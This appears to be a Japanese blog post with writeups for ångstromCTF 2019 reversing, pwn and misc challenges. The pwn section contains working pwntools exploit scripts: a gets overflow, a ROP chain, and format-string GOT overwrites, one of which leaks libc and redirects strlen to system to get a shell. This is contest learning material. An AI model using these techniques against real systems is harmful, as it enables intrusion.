眠いので寝ます

お勉強のメモを置いていこうと思いまふ

ångstromCTF writeup

ångstromCTFで僕が解いた問題のwriteup

pwnとrevとmiscを少しずつ

今回のctfはpicoctfの時みたいに各チームにアカウントが配られログインできるサーバーがある。そこに色々問題が置かれている。
ブラウザからもログインできるシェルもある。

Rev

Intro to Rev(10pt)

とりあえずログインして実行すると、どうすればいいか書いてあった。

team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

To get the flag for this problem, run this file again with the arguments 'binary' and 'reversing' (don't put the quotes).

team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev binary reversing
Welcome to your first reversing challenge!

If you are seeing this, then you already ran the file! Let's try some input next.
Enter the word 'angstrom' to continue:
angstrom
Good job! Some programs might also want you to enter information with a command line argument.

When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string.

Good job, now go solve some real problems!
actf{this_is_only_the_beginning}

FLAG:actf{this_is_only_the_beginning}

I Like It(40pt)

バイナリが配られるので読む。
fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev$ file ./i_like_it 
./i_like_it: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=aacf2043e5e2bf56d4b871b4ca1695b2db440a01, not stripped

とりあえずgdbで読む。

gdb-peda$pdisas main
...
...
   0x0000000000400791 <+42>:	mov    rdx,QWORD PTR [rip+0x2008d8]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400798 <+49>:	lea    rax,[rbp-0x20]
   0x000000000040079c <+53>:	mov    esi,0x14
   0x00000000004007a1 <+58>:	mov    rdi,rax
   0x00000000004007a4 <+61>:	call   0x400640 <fgets@plt>
   0x00000000004007a9 <+66>:	lea    rax,[rbp-0x20]
   0x00000000004007ad <+70>:	mov    rdi,rax
   0x00000000004007b0 <+73>:	call   0x400610 <strlen@plt>
   0x00000000004007b5 <+78>:	sub    rax,0x1
   0x00000000004007b9 <+82>:	mov    BYTE PTR [rbp+rax*1-0x20],0x0
   0x00000000004007be <+87>:	lea    rax,[rbp-0x20]
   0x00000000004007c2 <+91>:	lea    rsi,[rip+0x1a8]        # 0x400971
   0x00000000004007c9 <+98>:	mov    rdi,rax
   0x00000000004007cc <+101>:	call   0x400650 <strcmp@plt>
   0x00000000004007d1 <+106>:	test   eax,eax
   0x00000000004007d3 <+108>:	je     0x4007eb <main+132>
   0x00000000004007d5 <+110>:	lea    rdi,[rip+0x19f]        # 0x40097b
   0x00000000004007dc <+117>:	call   0x400600 <puts@plt>
   0x00000000004007e1 <+122>:	mov    edi,0x0
   0x00000000004007e6 <+127>:	call   0x400670 <exit@plt>
   0x00000000004007eb <+132>:	lea    rdi,[rip+0x1a0]        # 0x400992
   0x00000000004007f2 <+139>:	call   0x400600 <puts@plt>
   0x00000000004007f7 <+144>:	lea    rdi,[rip+0x1b2]        # 0x4009b0
   0x00000000004007fe <+151>:	call   0x400600 <puts@plt>
   0x0000000000400803 <+156>:	mov    rdx,QWORD PTR [rip+0x200866]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x000000000040080a <+163>:	lea    rax,[rbp-0x2c]
   0x000000000040080e <+167>:	mov    esi,0xc
   0x0000000000400813 <+172>:	mov    rdi,rax
   0x0000000000400816 <+175>:	call   0x400640 <fgets@plt>
   0x000000000040081b <+180>:	lea    rcx,[rbp-0x30]
   0x000000000040081f <+184>:	lea    rdx,[rbp-0x34]
   0x0000000000400823 <+188>:	lea    rax,[rbp-0x2c]
   0x0000000000400827 <+192>:	lea    rsi,[rip+0x1bf]        # 0x4009ed
   0x000000000040082e <+199>:	mov    rdi,rax
   0x0000000000400831 <+202>:	mov    eax,0x0
   0x0000000000400836 <+207>:	call   0x400660 <__isoc99_sscanf@plt>
   0x000000000040083b <+212>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040083e <+215>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400841 <+218>:	add    eax,edx
   0x0000000000400843 <+220>:	cmp    eax,0x88
   0x0000000000400848 <+225>:	jne    0x400864 <main+253>
   0x000000000040084a <+227>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040084d <+230>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400850 <+233>:	imul   eax,edx
   0x0000000000400853 <+236>:	cmp    eax,0xec7
   0x0000000000400858 <+241>:	jne    0x400864 <main+253>
   0x000000000040085a <+243>:	mov    edx,DWORD PTR [rbp-0x34]
   0x000000000040085d <+246>:	mov    eax,DWORD PTR [rbp-0x30]
   0x0000000000400860 <+249>:	cmp    edx,eax
   0x0000000000400862 <+251>:	jl     0x40087a <main+275>
...
gdb-peda$ x/15s 0x400971
0x400971:	"okrrrrrrr"
0x40097b:	"Cardi don't lik"...
0x40098a:	"e that."
0x400992:	"I said I like i"...
0x4009a1:	"t like that!"
0x4009ae:	""
0x4009af:	""
0x4009b0:	"I like two inte"...
0x4009bf:	"gers that I'm t"...
0x4009ce:	"hinking of (spa"...
0x4009dd:	"ce separated): "
0x4009ec:	""
0x4009ed:	"%d %d"
0x4009f3:	"Flag: actf{%s_%"...
0x400a02:	"d_%d}\n"

最初のfgetsで0x400971からの文字列と比較、一致すれば、fgetsからの入力をsscanfのフォーマット"%d %d"で二つの10進数を入力する。二つの入力をa,bとするとそのあとのアセンブリより
a+b = 0x88
a*b = 0xec7
a < bであることがわかるのでこれを解く。a = 39, b = 97

FLAG:actf{okrrrrrrr_39_97}

One Bite(60pt)

fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/one_b$ file one_bite 
one_bite: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f2e0bf29ac3cda06d867b815711a05358eab373, not stripped

ディスアセンブルで大事なところを載せる

gdb-peda$pdisas main
...
...
   0x00000000004006a2 <+43>:	mov    rdx,QWORD PTR [rip+0x2009a7]        # 0x601050 <stdin@@GLIBC_2.2.5>
   0x00000000004006a9 <+50>:	lea    rax,[rbp-0x40]
   0x00000000004006ad <+54>:	mov    esi,0x22
   0x00000000004006b2 <+59>:	mov    rdi,rax
   0x00000000004006b5 <+62>:	call   0x400570 <fgets@plt>
   0x00000000004006ba <+67>:	mov    DWORD PTR [rbp-0x4c],0x0
   0x00000000004006c1 <+74>:	jmp    0x4006df <main+104>
   0x00000000004006c3 <+76>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006c6 <+79>:	cdqe   
   0x00000000004006c8 <+81>:	movzx  eax,BYTE PTR [rbp+rax*1-0x40]
   0x00000000004006cd <+86>:	xor    eax,0x3c
   0x00000000004006d0 <+89>:	mov    edx,eax
   0x00000000004006d2 <+91>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006d5 <+94>:	cdqe   
   0x00000000004006d7 <+96>:	mov    BYTE PTR [rbp+rax*1-0x40],dl
   0x00000000004006db <+100>:	add    DWORD PTR [rbp-0x4c],0x1
   0x00000000004006df <+104>:	mov    eax,DWORD PTR [rbp-0x4c]
   0x00000000004006e2 <+107>:	movsxd rbx,eax
   0x00000000004006e5 <+110>:	lea    rax,[rbp-0x40]
   0x00000000004006e9 <+114>:	mov    rdi,rax
   0x00000000004006ec <+117>:	call   0x400550 <strlen@plt>
   0x00000000004006f1 <+122>:	cmp    rbx,rax
   0x00000000004006f4 <+125>:	jb     0x4006c3 <main+76>
   0x00000000004006f6 <+127>:	lea    rax,[rip+0x103]        # 0x400800
   0x00000000004006fd <+134>:	mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400701 <+138>:	mov    rdx,QWORD PTR [rbp-0x48]
   0x0000000000400705 <+142>:	lea    rax,[rbp-0x40]
   0x0000000000400709 <+146>:	mov    rsi,rdx
   0x000000000040070c <+149>:	mov    rdi,rax
   0x000000000040070f <+152>:	call   0x400580 <strcmp@plt>
...
...
gdb-peda$ x/34bx 0x400800
0x400800:	0x5d	0x5f	0x48	0x5a	0x47	0x55	0x63	0x48
0x400808:	0x54	0x55	0x52	0x57	0x63	0x55	0x51	0x63
0x400810:	0x5b	0x53	0x55	0x52	0x5b	0x63	0x48	0x53
0x400818:	0x63	0x5e	0x59	0x63	0x4f	0x55	0x5f	0x57
0x400820:	0x41	0x00

入力を1文字ずつ^=0x3cして、0x400800と比較している。つまりこういうことだ。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main()
{
	char flag [0x21] = {0x5d, 0x5f, 0x48, 0x5a, 0x47, 0x55, 0x63, 0x48,
			    0x54, 0x55, 0x52, 0x57, 0x63, 0x55, 0x51, 0x63,
			    0x5b ,0x53, 0x55, 0x52, 0x5b, 0x63, 0x48, 0x53,
			    0x63, 0x5e ,0x59, 0x63, 0x4f, 0x55, 0x5f, 0x57,
			    0x41};
	int i ;
	for(i = 0; i < 0x21; i++){
		printf("%c", flag[i] ^ 0x3c);
	}
	printf("\n");
	return 0;
}

flagの配列はこのくらいの長さなら手で打ち込めるが、長い場合はopenやlseek等を使って抽出した方がもちろんいい。

FLAG: actf{i_think_im_going_to_be_sick}

High Quality Checks(110pt)

fileコマンド

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/high_q_check$ file high_q 
high_q: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e7556b55e0c73b4de8b3f387571dd59c3535a0ee, not stripped

これはもうゴリゴリ読んだ。関数がめちゃくちゃあったから大変だった。こういうのはangrみたいなシンボリック実行ツールがあると楽なんだが、まだ使いこなせていない。復習にangrで解こうと思う。

FLAG: actf忘れた

icthyo(130pt)

libpngを使った面白い問題だった。なんかリバースエンジニアリングって感じがした。結局はcrackmeと同じくinputの文字列に依存するものだったけども。

配られるファイルは実行バイナリとout.png

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ file icthyo 
icthyo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=a390bbd4f8eff8fbbd02411a754ded08162de918, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ ./icthyo 
USAGE: ./icthyo in.png out.png

第一引数にpngファイルを指定し、第3引数のファイル名でpngファイルを作成するようだ。今回は作成されたout.pngが配られたみたい。

gdbで見るとread_file関数でin.pngを読み込んで、pngファイルを扱う構造体の初期化を行う感じ、encode関数で読み込んだpngファイルのbitをいじる。write_file関数でいじったやつを新たにpngファイルとして作成する、って感じだ。

encode関数のなかでrandom関数とかを呼んだりしているが、そこの部分は関係なくて、fgetsの入力でbitが操作される部分を見れば十分。大事な部分のディスアセンブリを載せる。

gdb-peda$ pdisas encode
....
....
   0x0000000000401025 <+338>:	mov    DWORD PTR [rbp-0x130],0x0
   0x000000000040102f <+348>:	jmp    0x401104 <encode+561>
   0x0000000000401034 <+353>:	mov    edx,DWORD PTR [rbp-0x130]
   0x000000000040103a <+359>:	mov    eax,edx
   0x000000000040103c <+361>:	add    eax,eax
   0x000000000040103e <+363>:	add    eax,edx
   0x0000000000401040 <+365>:	shl    eax,0x5
   0x0000000000401043 <+368>:	movsxd rdx,eax
   0x0000000000401046 <+371>:	mov    rax,QWORD PTR [rbp-0x128]
   0x000000000040104d <+378>:	add    rax,rdx
   0x0000000000401050 <+381>:	mov    QWORD PTR [rbp-0x120],rax
   0x0000000000401057 <+388>:	mov    eax,DWORD PTR [rbp-0x138]
   0x000000000040105d <+394>:	cdqe   
   0x000000000040105f <+396>:	movzx  eax,BYTE PTR [rbp+rax*1-0x110]
   0x0000000000401067 <+404>:	movsx  edx,al
   0x000000000040106a <+407>:	mov    eax,DWORD PTR [rbp-0x130]
   0x0000000000401070 <+413>:	mov    ecx,eax
   0x0000000000401072 <+415>:	sar    edx,cl
   0x0000000000401074 <+417>:	mov    eax,edx
   0x0000000000401076 <+419>:	and    eax,0x1
   0x0000000000401079 <+422>:	mov    DWORD PTR [rbp-0x12c],eax
   0x000000000040107f <+428>:	mov    rax,QWORD PTR [rbp-0x120]
   0x0000000000401086 <+435>:	add    rax,0x2
   0x000000000040108a <+439>:	movzx  eax,BYTE PTR [rax]
   0x000000000040108d <+442>:	movzx  eax,al
   0x0000000000401090 <+445>:	and    eax,0x1
   0x0000000000401093 <+448>:	test   eax,eax
   0x0000000000401095 <+450>:	je     0x4010b5 <encode+482>
   0x0000000000401097 <+452>:	mov    rax,QWORD PTR [rbp-0x120]
   0x000000000040109e <+459>:	add    rax,0x2
   0x00000000004010a2 <+463>:	movzx  edx,BYTE PTR [rax]
   0x00000000004010a5 <+466>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010ac <+473>:	add    rax,0x2
   0x00000000004010b0 <+477>:	xor    edx,0x1
   0x00000000004010b3 <+480>:	mov    BYTE PTR [rax],dl
   0x00000000004010b5 <+482>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010bc <+489>:	add    rax,0x2
   0x00000000004010c0 <+493>:	movzx  eax,BYTE PTR [rax]
   0x00000000004010c3 <+496>:	mov    ecx,eax
   0x00000000004010c5 <+498>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010cc <+505>:	movzx  edx,BYTE PTR [rax]
   0x00000000004010cf <+508>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010d6 <+515>:	add    rax,0x1
   0x00000000004010da <+519>:	movzx  eax,BYTE PTR [rax]
   0x00000000004010dd <+522>:	xor    eax,edx
   0x00000000004010df <+524>:	and    eax,0x1
   0x00000000004010e2 <+527>:	mov    edx,eax
   0x00000000004010e4 <+529>:	mov    eax,DWORD PTR [rbp-0x12c]
   0x00000000004010ea <+535>:	xor    eax,edx
   0x00000000004010ec <+537>:	or     ecx,eax
   0x00000000004010ee <+539>:	mov    edx,ecx
   0x00000000004010f0 <+541>:	mov    rax,QWORD PTR [rbp-0x120]
   0x00000000004010f7 <+548>:	add    rax,0x2
   0x00000000004010fb <+552>:	mov    BYTE PTR [rax],dl
   0x00000000004010fd <+554>:	add    DWORD PTR [rbp-0x130],0x1
   0x0000000000401104 <+561>:	cmp    DWORD PTR [rbp-0x130],0x7
   0x000000000040110b <+568>:	jle    0x401034 <encode+353>
   0x0000000000401111 <+574>:	add    DWORD PTR [rbp-0x138],0x1
   0x0000000000401118 <+581>:	cmp    DWORD PTR [rbp-0x138],0xff
   0x0000000000401122 <+591>:	jle    0x400f3f <encode+108>
   0x0000000000401128 <+597>:	nop
...
...
...

libpngのpng_infoやpng_structについての詳細は省略する。実行バイナリに倣って、使ったこともないlibpngを使ってsolve.cを書こう。

//solve.c
#include <stdio.h>
#include <stdlib.h>
#include <png.h>

int main(int argc, char** argv)
{
	FILE* fp;
	png_structp png_ptr;
	png_infop info_ptr;
	unsigned long width, height;
	unsigned long** rows;		
	int i, j, k;
	
	fp = fopen(argv[1], "rb");
	png_ptr = png_create_read_struct("1.6.34", 0, 0, 0);
	info_ptr = png_create_info_struct(png_ptr);
	png_init_io(png_ptr, fp);
	png_read_info(png_ptr,info_ptr);
	rows = (png_bytepp)malloc(0x800);
	for(i = 0; i <= 0xff; i++){
		rows[i] = (png_bytep)malloc(png_get_rowbytes(png_ptr, info_ptr));
	}
	png_read_image(png_ptr, rows);
	
	char* _x120;
	char tmp;
	char pt;
	
	for(i = 0; i <= 0xff; i++){
		tmp = 0;
		pt = 0;
		for(k = 0; k <= 7; k++){
			_x120 = (char*)(((unsigned long) *(rows+i)) + k*3*32);
			tmp = *(_x120+2) & 0x1;
			tmp ^= (*(_x120)^*(_x120+1))&0x1;
			pt |= tmp << k;
		}
		printf("%c", pt);
	}
	return 0;
}

FLAG:actf{lurking_in_the_depths_of_random_bits}

pwn

Aquarium(50pt)

cのソースコードも配られ良心的。
バイナリ情報

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ checksec.sh --file aquarium
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   aquarium

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ file aquarium
aquarium: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d83c04fed4657a5e5675412f5a2568c6850c0f70, not stripped
//aquarium.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

struct fish_tank {
	char name[50];
	int fish;
	int fish_size;
	int water;
	int width;
	int length;
	int height;
};


struct fish_tank create_aquarium() {
	struct fish_tank tank;

	printf("Enter the number of fish in your fish tank: ");
	scanf("%d", &tank.fish);
	getchar();

	printf("Enter the size of the fish in your fish tank: ");
	scanf("%d", &tank.fish_size);
	getchar();

	printf("Enter the amount of water in your fish tank: ");
	scanf("%d", &tank.water);
	getchar();

	printf("Enter the width of your fish tank: ");
	scanf("%d", &tank.width);
	getchar();

	printf("Enter the length of your fish tank: ");
	scanf("%d", &tank.length);
	getchar();

	printf("Enter the height of your fish tank: ");
	scanf("%d", &tank.height);
	getchar();

	printf("Enter the name of your fish tank: ");
	char name[50];
	gets(name);

	strcpy(name, tank.name);
	return tank;
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	struct fish_tank tank;

	tank = create_aquarium();

	if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
		printf("Your fish tank has overflowed!\n");
		return 1;
	}

	printf("Nice fish tank you have there.\n");

	return 0;
}

getsの脆弱性。オーバーフローが起こせそう。リターンアドレスをflag関数にしてやる。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='***')
conn.set_working_directory('/problems/2019/aquarium')
pro = conn.process('./aquarium')

flag_addr = 0x4011b6

payload = "A"*0x98
payload += p64(flag_addr)

pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline("1")
pro.recvuntil("tank: ")
pro.sendline(payload)

pro.interactive()

FLAG:actf{overflowed_more_than_just_a_fish_tank}

Chain of Rope(80pt)

またcのコード付き
バイナリ情報

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ file chain_of_rope
chain_of_rope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=064faad4fb2a3a1b7600f988df09e3d7dd9c44d5, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ checksec.sh --file chain_of_rope
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   chain_of_rope
//chain_of_rope.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
	userToken = 0x1337;
	return 0;
}

int addBalance (int pin) {
	if (userToken == 0x1337 && pin == 0xdeadbeef) {
		balance = 0x4242;
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

int flag (int pin, int secret) {
	if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
		printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
		system("/bin/cat flag.txt");
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

void getInfo () {
	printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
	char name [32];
	printf("--== ROPE CHAIN BLACK MARKET ==--\n");
	printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
	printf("What would you like to do?\n");
	printf("1 - Set name\n");
	printf("2 - Get user info\n");
	printf("3 - Grant access\n");
	int choice;
	scanf("%d\n", &choice);
	if (choice == 1) {
		gets(name);
	} else if (choice == 2) {
		getInfo();
	} else if (choice == 3) {
		printf("lmao no\n");
	} else {
		printf("I don't know what you're saying so get out of my black market\n");
	}
	return 0;
}

またもやgetsがあるのでoverflowの脆弱性。flag関数の引数チェックを通るには、authorize()でグローバル変数userTokenをセットしたあとaddBalance(0xdeadbeef)を呼んでグローバル変数balanceをセットしたあとflag(0xba5eba11, 0xbeddab1e)を呼べば良い。

64bitバイナリなので引数はレジスタにセットする。rpでそのガジェットを検索してエクスプロイトコードを書く。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='****')
conn.set_working_directory('/problems/2019/chain_of_rope')
pro = conn.process('./chain_of_rope')

flag_func = 0x4011eb
auth_func = 0x401196
addb_func = 0x4011ab

pop_rsi_r15 = 0x401401
pop_rdi = 0x401403
buf_size = 0x30

payload = "1"
payload += "A"*buf_size
payload += "A"*8
payload += p64(auth_func)
payload += p64(pop_rdi)
payload += p64(0xdeadbeef)
payload += p64(addb_func)
payload += p64(pop_rsi_r15)
payload += p64(0xbedabb1e)
payload += "A"*8
payload += p64(pop_rdi)
payload += p64(0xba5eba11)
payload += p64(flag_func)


pro.recvuntil("access\n")
pro.sendline(payload)

pro.interactive()

FLAG:actf{dark_web_bargains}

この問題、問題文のバイナリと実際に動いているバイナリが少し違って、関数のアドレスだったりgetsの引数バッファの位置が違ってかなり困惑した。
今見たらまた変わってた。

Purchases(120pt)

cのコードついている。おそらくこのctf全部cソースがある。嬉しいね。

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ file purchases
purchases: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=81d703c9e71c8e60af8bdd4515f6bada05bcbcf8, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ checksec.sh --file ./purchases
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./purchases
//purchases.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[60];
	printf("What item would you like to purchase? ");
	fgets(item, sizeof(item), stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("You don't have any money to buy ");
		printf(item);
		printf("s. You're wasting your time! We don't even sell ");
		printf(item);
		printf("s. Leave this place and buy ");
		printf(item);
		printf(" somewhere else. ");
	}

	printf("Get out!\n");
	return 0;
}

printfのfsbがある。3つも。そんなにいらないが。
注意すべきはfgetsのあと最後の文字をnull文字にしていること。これに気がつかず、かなり時間をとった。
mainの最後のprintfはコンパイルするとputsになっていたので、puts@gotをflag関数に書き換える。
第8引数からがitem変数の先頭をさしていた。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='****')
conn.set_working_directory('/problems/2019/purchases')
pro = conn.process('./purchases')

puts_got= 0x404018
flag_func = 0x4011b6

target_off = 0x20
first = flag_func >> 16
second = (flag_func & 0xffff) - first

payload = "%" + str(8+target_off/8) +"$n"
payload += "%" + str(first) + "x"
payload += "%" + str(8+target_off/8+1) + "$hn"
payload += "%" + str(second) + "x"
payload += "%" + str(8+target_off/8+2) + "$hn"
payload += "A" * (target_off - len(payload))
payload += p64(0xff404018+4) #0xff will be replaced in 0x00
payload += p64(puts_got+2)
payload += p64(puts_got)

pro.recvuntil("purchase? ")
pro.sendline(payload)

pro.interactive()

FLAG:actf{limited_edition_flag}

Returns(160pt)

この問題ではバイナリ、cソースコードに加えて、libcも配られた。まあサーバー上のlibcのバージョンのものであろう。

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ file returns
returns: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=64f74f862ba5864cb66351be406d4f1d1d07a3b6, not stripped

kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ checksec.sh --file ./returns
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./returns
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[50];
	printf("What item would you like to return? ");
	fgets(item, 50, stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("We didn't sell you a ");
		printf(item);
		printf(". You're trying to scam us! We don't even sell ");
		printf(item);
		printf("s. Leave this place and take your ");
		printf(item);
		printf(" with you. ");
	}

	printf("Get out!\n");
	return 0;
}

上のpurchaseの問題とかなり類似している。異なる点はitemの長さが短くなったことやflag関数がなくなった点がある。同じくprintfのfsbが存在し、mainの最後のprintfはputsでコンパイルされている。
流れとしてはputs@gotをmain関数に書き換え、main関数がループするようにする。その後どこか適当なgot領域をprintfで読み出し、libcのbaseを計算し、strlen@gotをsystemに書き換え、fgetsで"/bin/sh"を入力し、strlenに渡す。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='shell.actf.co', user='team***', password='***')
conn.set_working_directory('/problems/2019/returns')
pro = conn.process('./returns')

main_addr = 0x4011a6
strlen_got = 0x404020
puts_got = 0x404018

#in libc
system_offset = 0x45390
puts_offset = 0x6f690
strlen_offset = 0x8b720

buf_off = 32

payload = "%" + str(0x40) + "x"
payload += "%" + str(8+buf_off/8) + "$hn"
payload += "%" + str(0x11a6-0x40) + "x"
payload += "%" + str(8+buf_off/8+1) + "$hn"
payload += "A" * (buf_off - len(payload))
payload += p64(0xff404018+0x2) #0xff will be replaced to 0x00
payload += p64(puts_got)

pro.recvuntil("return? ")
pro.sendline(payload)

payload = "%" + str(8+buf_off/8) + "$s"
payload += "A" * (buf_off -len(payload))
payload += p64(0xff404020) #0xff will be replaced to 0x00
 
pro.recvuntil("return? ")
pro.sendline(payload)

pro.recvuntil("you a ")
strlen_libc =  pro.recvuntil("A")
strlen_libc = strlen_libc[0:len(strlen_libc)-1]
strlen_libc += "\x00"*(8-len(strlen_libc))
strlen_libc = u64(strlen_libc)

system_libc = strlen_libc - strlen_offset + system_offset


first = system_libc & 0xffff
second = (system_libc >> 16) & 0xffff
second = second + 0x10000 - first 

payload = "%" + str(first) + "x"
payload += "%" + str(8+buf_off/8) + "$hn"
payload += "%" + str(second) + "x"
payload += "%" + str(8+buf_off/8+1) + "$hn"
payload += "A" * (buf_off - len(payload))
payload += p64(0xff404020) #0xff will be replaced to 0x00
payload += p64(strlen_got+2)

pro.recvuntil("return? ")
pro.sendline(payload)

pro.recvuntil("return? ")
print "strlen :" + hex(strlen_libc)
print "system : " + hex(system_libc)
print "first : " + hex(first)
print "second : " + hex(second)

pro.interactive()

interactiveモードになったら/bin/shなりcat flag.txtなり入力する

FLAG:actf{no_returns_allowed}

misc

Blank Paper(30pt)

壊れたpdfが配られるので、バイナリエディタで開くと最初の4バイトがnullになっているので、asciiで"%PDF"に書き換えてあげる。
FLAG:actf{knot_very_interesting}

Paper Bin(40pt)

.datファイルが配布される。binwalkでみると色々pdfやらが入ってそう
foremostに投げるといくつかpdfを取り出してくれてそのうちの一つ00011880.pdfにflagが
FLAG:actf{proof_by_triviality}

Just Letters(60pt)

問題文の中にリンクとサーバー
https://esolangs.org/wiki/AlphaBeta
サーバーにつなぐとこんな感じ

$ nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> 

メモリを読み出せば良いらしく、リンク先のHello World!の例文をみると、register 3にセットしたものを出力できるらしいので、メモリから1文字ずつregister 1にセットしそれをregister 3にコピーしoutputを繰り返す。一つのループは"GCLS"で出来るのでこれを適当に繰り返す。

brainfuckの一種か

FLAG:actf{esolangs_sure_are_fun!}

まとめ

楽しかた
お疲れした
何かあればコメントください